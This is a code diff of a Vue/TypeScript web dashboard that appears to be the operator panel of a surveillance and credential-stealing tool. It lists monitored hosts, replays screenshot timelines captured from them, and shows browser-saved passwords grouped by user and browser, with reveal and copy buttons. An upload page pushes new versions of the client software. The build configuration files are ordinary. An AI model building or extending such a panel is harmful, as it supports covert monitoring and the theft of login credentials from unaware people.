let unitIndex = 0;
while (size >= 1024 && unitIndex < units.length - 1) {
size /= 1024;
unitIndex++;
}
return `${size.toFixed(1)} ${units[unitIndex]}`;
};
const fetchTimeDistribution = async () => {
try {
loadingDistribution.value = true;
const response = await fetch(`${isLocalhost ? 'http://debian:12398' : ''}/hosts/${hostname.value}/time-distribution`);
if (!response.ok) throw new Error('获取时间分布数据失败');
const data = await response.json();
timeDistribution.value = data.distribution;
} catch (error) {
console.error('获取时间分布数据失败:', error);
} finally {
loadingDistribution.value = false;
}
};
//
const fetchCredentials = async () => {
try {
loadingCredentials.value = true;
const response = await fetch(
`${isLocalhost ? 'http://debian:12398' : ''}/hosts/${hostname.value}/credentials`
);
if (!response.ok) throw new Error('获取凭据数据失败');
const data = await response.json();
credentials.value = data;
//
if (data.length > 0) {
const firstUser = data[0].username;
if (!expandedUsers.value.includes(firstUser)) {
expandedUsers.value.push(firstUser);
}
}
} catch (error) {
console.error('获取凭据数据失败:', error);
} finally {
loadingCredentials.value = false;
}
};
//
const credentialsByUser = computed<UserGroup[]>(() => {
const userMap = new Map<string, Credential[]>();
//
credentials.value.forEach(cred => {
if (!userMap.has(cred.username)) {
userMap.set(cred.username, []);
}
userMap.get(cred.username)!.push(cred);
});
//
const result: UserGroup[] = [];
userMap.forEach((userCreds, username) => {
//
const latestSyncTime = userCreds.reduce((latest, cred) => {
const credTime = new Date(cred.lastSyncTime);
return credTime > latest ? credTime : latest;
}, new Date(0)).toISOString();
//
const browserMap = new Map<string, Credential[]>();
userCreds.forEach(cred => {
if (!browserMap.has(cred.browser)) {
browserMap.set(cred.browser, []);
}
browserMap.get(cred.browser)!.push(cred);
});
const browsers: BrowserGroup[] = [];
browserMap.forEach((browserCreds, browserName) => {
browsers.push({
name: browserName,
credentials: browserCreds
});
});
result.push({
username,
browsers,
total: userCreds.length,
lastSyncTime: latestSyncTime //
});
});
return result;
});
// /
const toggleUserExpanded = (username: string) => {
if (expandedUsers.value.includes(username)) {
expandedUsers.value = expandedUsers.value.filter(u => u !== username);
} else {
expandedUsers.value.push(username);
}
};
const toggleBrowserExpanded = (browserKey: string) => {
if (expandedBrowsers.value.includes(browserKey)) {
expandedBrowsers.value = expandedBrowsers.value.filter(b => b !== browserKey);
} else {
expandedBrowsers.value.push(browserKey);
}
};
const toggleCredentialExpanded = (credId: string) => {
if (expandedCredentials.value.includes(credId)) {
expandedCredentials.value = expandedCredentials.value.filter(c => c !== credId);
} else {
expandedCredentials.value.push(credId);
}
};
//
const revealPassword = (passwordKey: string) => {
if (!revealedPasswords.value.includes(passwordKey)) {
revealedPasswords.value.push(passwordKey);
}
};
//
const copyToClipboard = async (text: string) => {
try {
await navigator.clipboard.writeText(text);
//
} catch (err) {
console.error('复制失败:', err);
}
};
const timeRange = ref({ min: 0, max: 0 });
const fetchHourlyRecords = async (startTime: number, endTime: number) => {
try {
loadingRecords.value = true;
showDetailTimeline.value = true;
const response = await fetch(
`${isLocalhost ? 'http://debian:12398' : ''}/hosts/${hostname.value}/screenshots?startTime=${startTime}&endTime=${endTime}`
);
if (!response.ok) throw new Error('获取记录数据失败');
const data = await response.json();
//
records.value = data.records.reverse();
lastUpdate.value = data.lastUpdate;
timeRange.value = { min: startTime * 1000, max: endTime * 1000 };
requestAnimationFrame(() => {
selectedRecord.value = records.value[0];
});
} catch (error) {
console.error('获取记录数据失败:', error);
} finally {
loadingRecords.value = false;
}
};
const formatDate = (date: string, type: 'full' | 'short' = 'full') => {
if (type === 'short') {
return format(new Date(date), 'MM-dd HH:mm');
}
return format(new Date(date), 'yyyy-MM-dd HH:mm:ss');
};
onMounted(() => {
fetchTimeDistribution();
fetchCredentials();
});
// ===== =====
// timeDistribution
const dailyCounts = computed(() => {
const map: Record<string, number> = {};
timeDistribution.value.forEach(point => {
// 使
const d = new Date(point.timestamp * 1000);
const dateStr = `${d.getFullYear()}-${(d.getMonth() + 1).toString().padStart(2, '0')}-${d.getDate().toString().padStart(2, '0')}`;
map[dateStr] = (map[dateStr] || 0) + point.count;
});
return map;
});
const selectedDate = ref<string | null>(null);
watch(dailyCounts, (newCounts) => {
if (!selectedDate.value) {
const dates = Object.keys(newCounts).sort();
if (dates.length > 0) {
selectedDate.value = dates[0];
}
}
});
// ===== =====
// computed 使 selectedDate
const hourlyMinTime = computed(() => {
if (selectedDate.value) {
//
const [year, month, day] = selectedDate.value.split('-').map(Number);
const dayStart = new Date(year, month - 1, day);
return dayStart.getTime();
}
if (timeDistribution.value.length === 0) return Date.now();
const minSec = Math.min(...timeDistribution.value.map(d => d.timestamp));
return minSec * 1000;
});
const hourlyMaxTime = computed(() => {
if (selectedDate.value) {
const [year, month, day] = selectedDate.value.split('-').map(Number);
const dayStart = new Date(year, month - 1, day);
const dayEnd = new Date(dayStart);
dayEnd.setDate(dayStart.getDate() + 1);
return dayEnd.getTime();
}
if (timeDistribution.value.length === 0) return Date.now();
const maxSec = Math.max(...timeDistribution.value.map(d => d.timestamp));
return (maxSec + 3599) * 1000;
});
const hourlySegments = computed(() => {
const segments: Array<{ start: number; end: number; active: boolean }> = [];
if (selectedDate.value) {
// 24
const [year, month, day] = selectedDate.value.split('-').map(Number);
const dayStart = new Date(year, month - 1, day);
const startSec = Math.floor(dayStart.getTime() / 1000);
const dayEnd = new Date(dayStart);
dayEnd.setDate(dayEnd.getDate() + 1);
const endSec = Math.floor(dayEnd.getTime() / 1000);
for (let t = startSec; t < endSec; t += 3600) {
const segStart = t * 1000;
const segEnd = (t + 3600) * 1000;
// timeDistribution
const data = timeDistribution.value.find(d => d.timestamp >= t && d.timestamp < t + 3600);
segments.push({
start: segStart,
end: segEnd,
active: !!data && data.count > 0
});
}
return segments;
} else {
if (timeDistribution.value.length === 0) return segments;
const startSec = Math.min(...timeDistribution.value.map(d => d.timestamp));
const endSec = Math.max(...timeDistribution.value.map(d => d.timestamp));
for (let t = startSec; t <= endSec; t += 3600) {
const segStart = t * 1000;
const segEnd = (t + 3600) * 1000;
const data = timeDistribution.value.find(d => d.timestamp === t);
segments.push({
start: segStart,
end: segEnd,
active: data ? data.count > 0 : false
});
}
return segments;
}
});
const hourlySliderValue = ref(hourlyMinTime.value);
watch(hourlyMinTime, (newVal) => {
hourlySliderValue.value = newVal;
});
watch(selectedDate, () => {
//
hourlySliderValue.value = hourlySegments.value.find(s => s.active)?.start! + 1800000 || hourlyMinTime.value;
onHourlySliderChange(hourlySliderValue.value);
});
const onHourlySliderChange = (newValue: number) => {
const selectedSec = Math.floor(newValue / 3600000) * 3600;
fetchHourlyRecords(selectedSec, selectedSec + 3600);
};
// ticks
const detailedMarkers = computed(() => {
return records.value.map(record => {
return {
time: new Date(record.timestamp).getTime(),
label: format(new Date(record.timestamp), 'HH:mm:ss'),
active: true
};
});
});
const detailedSliderValue = ref(timeRange.value.min);
watch(() => timeRange.value.min, (newVal) => {
detailedSliderValue.value = newVal;
});
const onDetailedSliderChange = (newValue: number) => {
if (records.value.length === 0) return;
const targetTime = newValue;
let closestRecord = records.value[0];
let minDiff = Math.abs(new Date(closestRecord.timestamp).getTime() - targetTime);
for (const record of records.value) {
const diff = Math.abs(new Date(record.timestamp).getTime() - targetTime);
if (diff < minDiff) {
minDiff = diff;
closestRecord = record;
}
}
selectedRecord.value = closestRecord;
};
//
//
const refreshTimeDistribution = async () => {
await fetchTimeDistribution();
};
//
const refreshDetailedRecords = () => {
const selectedSec = Math.floor(hourlySliderValue.value / 3600000) * 3600;
fetchHourlyRecords(selectedSec, selectedSec + 3600);
};
//
// records index 0 index n-1
const currentFrameIndex = ref(-1);
const autoPlay = ref(false);
const autoPlayTimer = ref<number | null>(null);
const autoPlaySpeed = ref(200); //
//
const imagesLoadedCount = ref(0);
const allImagesLoaded = computed(() => {
if (!selectedRecord.value) return false;
return imagesLoadedCount.value >= selectedRecord.value.screenshots.length;
});
// fileId => ratio
const imageAspectRatio = ref(16 / 9);
// &
const onImageLoad = (event: Event, fileId: string) => {
imagesLoadedCount.value++;
const imgEl = event.target as HTMLImageElement;
if (imgEl.naturalHeight !== 0) {
imageAspectRatio.value = imgEl.naturalWidth / imgEl.naturalHeight;
}
};
//
watch(selectedRecord, (newRecord) => {
imagesLoadedCount.value = 0;
if (newRecord) {
const idx = records.value.findIndex(rec => rec.timestamp === newRecord.timestamp);
currentFrameIndex.value = idx;
//
detailedSliderValue.value = new Date(newRecord.timestamp).getTime();
}
//
if (autoPlay.value && allImagesLoaded.value) {
startAutoPlayTimer();
}
});
// "" 1
const prevFrame = () => {
if (currentFrameIndex.value > 0) {
currentFrameIndex.value--;
selectedRecord.value = records.value[currentFrameIndex.value];
}
stopAutoPlayTimer();
};
// "" 1
const nextFrame = () => {
if (currentFrameIndex.value < records.value.length - 1) {
currentFrameIndex.value++;
selectedRecord.value = records.value[currentFrameIndex.value];
} else {
autoPlay.value = false;
}
stopAutoPlayTimer();
};
const toggleAutoPlay = () => {
autoPlay.value = !autoPlay.value;
if (autoPlay.value) {
startAutoPlayTimer();
} else {
stopAutoPlayTimer();
}
};
const startAutoPlayTimer = () => {
if (allImagesLoaded.value && autoPlay.value) {
autoPlayTimer.value = window.setTimeout(() => {
nextFrame();
}, autoPlaySpeed.value);
}
};
const stopAutoPlayTimer = () => {
if (autoPlayTimer.value) {
clearTimeout(autoPlayTimer.value);
autoPlayTimer.value = null;
}
};
watch([allImagesLoaded, autoPlay, autoPlaySpeed], ([loaded, playing]) => {
if (playing && loaded) {
stopAutoPlayTimer();
startAutoPlayTimer();
}
});
</script>

106
src/views/HostList.vue Normal file
View File

@ -0,0 +1,106 @@
<!-- src/views/HostList.vue -->
<template>
<div class="min-h-screen bg-gray-50">
<div class="max-w-7xl mx-auto py-6 sm:px-6 lg:px-8">
<div class="px-4 py-6 sm:px-0">
<h1 class="text-3xl font-semibold text-gray-900 mb-8">屏幕截图监控系统</h1>
<!-- 主机列表卡片网格 -->
<div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-6">
<div v-for="host in hosts" :key="host.hostname"
class="bg-white shadow-sm rounded-lg overflow-hidden hover:shadow-md transition-shadow cursor-pointer"
@click="navigateToHost(host.hostname)">
<div class="px-4 py-5 sm:p-6">
<div class="flex items-center justify-between">
<div>
<h3 class="text-lg font-medium text-gray-900">
{{ host.hostname }}
</h3>
<p class="mt-1 text-sm text-gray-500">
最后更新: {{ formatDate(host.lastUpdate) }}
</p>
</div>
<div class="flex items-center">
<div :class="[
'h-3 w-3 rounded-full',
isRecent(host.lastUpdate) ? 'bg-green-500' : 'bg-gray-300'
]"></div>
</div>
</div>
</div>
</div>
</div>
<!-- 加载状态 -->
<div v-if="loading" class="flex justify-center items-center mt-8">
<div
class="animate-spin rounded-full h-8 w-8 border-b-2 border-gray-900">
</div>
</div>
<!-- 错误提示 -->
<div v-if="error" class="mt-8 bg-red-50 p-4 rounded-md">
<div class="flex">
<div class="flex-shrink-0">
<XCircle class="h-5 w-5 text-red-400" />
</div>
<div class="ml-3">
<h3 class="text-sm font-medium text-red-800">
加载失败
</h3>
<div class="mt-2 text-sm text-red-700">
<p>{{ error }}</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</template>
<script setup lang="ts">
import { ref, onMounted } from 'vue';
import { useRouter } from 'vue-router';
import { XCircle } from 'lucide-vue-next';
import { format, differenceInMinutes } from 'date-fns';
interface Host {
hostname: string;
lastUpdate: string;
}
const router = useRouter();
const hosts = ref<Host[]>([]);
const loading = ref(true);
const error = ref<string | null>(null);
const fetchHosts = async () => {
try {
loading.value = true;
const response = await fetch(
location.origin.includes('localhost') ? 'http://localhost:3000' : '' + '/hosts');
if (!response.ok) throw new Error('获取主机列表失败');
hosts.value = await response.json();
} catch (err) {
error.value = err instanceof Error ? err.message : '未知错误';
} finally {
loading.value = false;
}
};
const formatDate = (date: string) => {
return format(new Date(date), 'yyyy-MM-dd HH:mm:ss');
};
const isRecent = (date: string) => {
const diffMinutes = differenceInMinutes(new Date(), new Date(date));
return diffMinutes <= 60; // 1
};
const navigateToHost = (hostname: string) => {
router.push(`/hosts/${hostname}`);
};
onMounted(fetchHosts);
</script>

View File

@ -0,0 +1,206 @@
<!-- Upload.vue -->
<script setup lang="ts">
import { ref, computed, onMounted } from 'vue'
import axios from 'axios'
interface VersionInfo {
version: string
download_url: string
checksum: string
}
const currentVersion = ref<VersionInfo | null>(null)
const newVersion = ref('')
const versionFile = ref<File | null>(null)
const versionFileHash = ref('')
const isUploading = ref(false)
const uploadError = ref('')
const uploadSuccess = ref(false)
const canUploadVersion = computed(() => {
return newVersion.value && versionFile.value && !isUploading.value
})
// SHA-256
async function calculateSha256(file: File): Promise<string> {
const buffer = await file.arrayBuffer()
const hashBuffer = await crypto.subtle.digest('SHA-256', buffer)
const hashArray = Array.from(new Uint8Array(hashBuffer))
return hashArray.map(b => b.toString(16).padStart(2, '0')).join('')
}
//
async function fetchCurrentVersion() {
try {
const response = await axios.get<VersionInfo>('/api/version')
currentVersion.value = response.data
} catch (err) {
console.error('获取版本信息失败:', err)
}
}
//
async function handleVersionFileChange(event: Event) {
const input = event.target as HTMLInputElement
if (input.files && input.files[0]) {
versionFile.value = input.files[0]
versionFileHash.value = await calculateSha256(input.files[0])
}
}
//
function resetForm() {
newVersion.value = ''
versionFile.value = null
versionFileHash.value = ''
uploadError.value = ''
}
//
async function uploadVersion() {
if (!versionFile.value || !newVersion.value) return
isUploading.value = true
uploadError.value = ''
uploadSuccess.value = false
const formData = new FormData()
formData.append('file', versionFile.value)
formData.append('version', newVersion.value)
try {
await axios.post('/api/upload/version', formData)
await fetchCurrentVersion()
uploadSuccess.value = true
resetForm()
setTimeout(() => {
uploadSuccess.value = false
}, 3000)
} catch (err) {
console.error('上传失败:', err)
uploadError.value = '上传失败,请重试'
} finally {
isUploading.value = false
}
}
onMounted(() => {
fetchCurrentVersion()
})
</script>
<template>
<div class="max-w-3xl mx-auto p-6">
<h1 class="text-3xl font-bold text-gray-800 mb-8">软件版本管理</h1>
<!-- 当前版本信息卡片 -->
<div class="bg-white rounded-lg shadow-md mb-8 overflow-hidden">
<div class="bg-gray-50 px-6 py-4 border-b">
<h2 class="text-xl font-semibold text-gray-700">当前版本信息</h2>
</div>
<div class="p-6">
<div v-if="currentVersion" class="space-y-3">
<div class="grid grid-cols-12 gap-4 items-center">
<span class="text-gray-600 col-span-2">版本号:</span>
<span class="font-medium text-gray-800 col-span-10">{{ currentVersion.version }}</span>
</div>
<div class="grid grid-cols-12 gap-4 items-center">
<span class="text-gray-600 col-span-2">下载地址:</span>
<a :href="currentVersion.download_url"
class="text-blue-600 hover:text-blue-800 break-all col-span-10">
{{ currentVersion.download_url }}
</a>
</div>
<div class="grid grid-cols-12 gap-4 items-center">
<span class="text-gray-600 col-span-2">校验和:</span>
<span class="font-mono text-sm text-gray-700 break-all col-span-10">
{{ currentVersion.checksum }}
</span>
</div>
</div>
<div v-else class="text-gray-500 italic">暂无版本信息</div>
</div>
</div>
<!-- 上传新版本表单 -->
<div class="bg-white rounded-lg shadow-md">
<div class="bg-gray-50 px-6 py-4 border-b">
<h2 class="text-xl font-semibold text-gray-700">上传新版本</h2>
</div>
<div class="p-6 space-y-6">
<!-- 版本号输入 -->
<div>
<label class="block text-sm font-medium text-gray-700 mb-2">
版本号
</label>
<input
v-model="newVersion"
type="text"
class="w-full px-4 py-2 border rounded-md focus:ring-2 focus:ring-blue-500 focus:border-blue-500 outline-none transition"
placeholder="例如: 1.0.0"
>
</div>
<!-- 文件上传 -->
<div>
<label class="block text-sm font-medium text-gray-700 mb-2">
选择文件
</label>
<div class="mt-1">
<div class="border-2 border-dashed border-gray-300 rounded-lg px-6 py-8">
<div class="text-center">
<input
type="file"
@change="handleVersionFileChange"
class="hidden"
id="file-upload"
>
<label
for="file-upload"
class="cursor-pointer inline-flex items-center px-4 py-2 border border-transparent text-sm font-medium rounded-md text-white bg-blue-600 hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-blue-500"
>
选择文件
</label>
<p class="mt-2 text-sm text-gray-600">
{{ versionFile?.name || '未选择文件' }}
</p>
</div>
<div v-if="versionFileHash" class="mt-4 text-center">
<p class="text-xs text-gray-500">SHA-256 校验和:</p>
<p class="font-mono text-xs text-gray-600 break-all">
{{ versionFileHash }}
</p>
</div>
</div>
</div>
</div>
<!-- 错误提示 -->
<div v-if="uploadError" class="text-red-600 text-sm">
{{ uploadError }}
</div>
<!-- 成功提示 -->
<div v-if="uploadSuccess"
class="bg-green-50 text-green-800 px-4 py-2 rounded-md text-sm">
上传成功
</div>
<!-- 提交按钮 -->
<div class="flex justify-end">
<button
@click="uploadVersion"
:disabled="!canUploadVersion"
class="inline-flex items-center px-6 py-3 border border-transparent text-base font-medium rounded-md shadow-sm text-white bg-blue-600 hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-blue-500 disabled:bg-gray-300 disabled:cursor-not-allowed transition-colors"
>
<svg v-if="isUploading" class="animate-spin -ml-1 mr-3 h-5 w-5 text-white" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24">
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"></circle>
<path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path>
</svg>
{{ isUploading ? '上传中...' : '上传新版本' }}
</button>
</div>
</div>
</div>
</div>
</template>

12
tailwind.config.js Normal file
View File

@ -0,0 +1,12 @@
// tailwind.config.js
/** @type {import('tailwindcss').Config} */
export default {
content: [
"./index.html",
"./src/**/*.{vue,js,ts,jsx,tsx}",
],
theme: {
extend: {},
},
plugins: [],
}

12
tsconfig.app.json Normal file
View File

@ -0,0 +1,12 @@
{
"extends": "@vue/tsconfig/tsconfig.dom.json",
"include": ["env.d.ts", "src/**/*", "src/**/*.vue"],
"exclude": ["src/**/__tests__/*"],
"compilerOptions": {
"tsBuildInfoFile": "./node_modules/.tmp/tsconfig.app.tsbuildinfo",
"paths": {
"@/*": ["./src/*"]
}
}
}

11
tsconfig.json Normal file
View File

@ -0,0 +1,11 @@
{
"files": [],
"references": [
{
"path": "./tsconfig.node.json"
},
{
"path": "./tsconfig.app.json"
}
]
}

18
tsconfig.node.json Normal file
View File

@ -0,0 +1,18 @@
{
"extends": "@tsconfig/node22/tsconfig.json",
"include": [
"vite.config.*",
"vitest.config.*",
"cypress.config.*",
"nightwatch.conf.*",
"playwright.config.*"
],
"compilerOptions": {
"noEmit": true,
"tsBuildInfoFile": "./node_modules/.tmp/tsconfig.node.tsbuildinfo",
"module": "ESNext",
"moduleResolution": "Bundler",
"types": ["node"]
}
}

12
vite.config.ts Normal file
View File

@ -0,0 +1,12 @@
import { defineConfig } from 'vite'
import vue from '@vitejs/plugin-vue'
import { viteSingleFile } from "vite-plugin-singlefile"
export default defineConfig({
plugins: [vue(), viteSingleFile()],
resolve: {
alias: {
'@': '/src'
}
}
})